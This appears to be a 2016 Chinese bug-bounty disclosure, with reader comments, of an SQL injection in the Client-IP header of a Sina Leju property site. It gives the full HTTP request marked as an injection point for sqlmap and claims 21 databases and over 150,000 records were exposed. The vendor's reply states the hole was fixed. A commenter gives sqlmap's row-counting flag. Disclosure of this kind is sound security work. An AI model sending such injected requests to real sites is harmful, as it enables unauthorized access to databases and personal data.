新浪乐居某站ClientIP存在SQL注入（21库）

新浪乐居http://tj.newsesf.leju.com/网站存在注入。

GET数据如下：注入参数Client-IP

GET /news/hd/sina_daogou/daogou20160111kl/ HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
 Client-IP: 1*
 X-Requested-With: XMLHttpRequest
 Referer: http://tj.newsesf.leju.com/
 Cookie: PHPSESSID=l0octpp9o4p0nb82e1br3hepj7
 Host: tj.newsesf.leju.com
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 Accept: */*

测试结果：

21库：

current-db：

15万+数据

...完了。

过滤字符吧。

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-04-25 16:28

厂商回复：

非常感谢您对乐居的关注，我们会尽快修复该漏洞

最新状态：

2016-04-25：已修复，请测试，再次感谢

1. 2016-04-25 23:37 | Vince、白 ( 实习白帽子 | Rank:31 漏洞数:13 | 爱测试，爱代码，爱妹子)

   0

   SQLMAP显示有多少数据的指令是？

   1# 回复此人

2. 2016-04-26 08:50 | zmx ( 普通白帽子 | Rank:164 漏洞数:43 | wooyun)

   0

   @Vince、白 --count

   2# 回复此人

3. 2016-04-26 15:39 | 梦超 ( 路人 | Rank:4 漏洞数:1 | 青春，是一座远远望见的城堡，我从未走近她...)

   0

   新浪好逗： PS———最新状态： 2016-04-25：已修复，请测试，再次感谢

   3# 回复此人

4. 2016-04-26 18:04 | hasz ( 实习白帽子 | Rank:33 漏洞数:8 | 信息安全)

   0

   呵呵！

   4# 回复此人

5. 2016-04-26 18:44 | Jn-简夜 ( 路人 | Rank:4 漏洞数:2 )

   0

   xxx-ip 也算参数啊。。。。

   5# 回复此人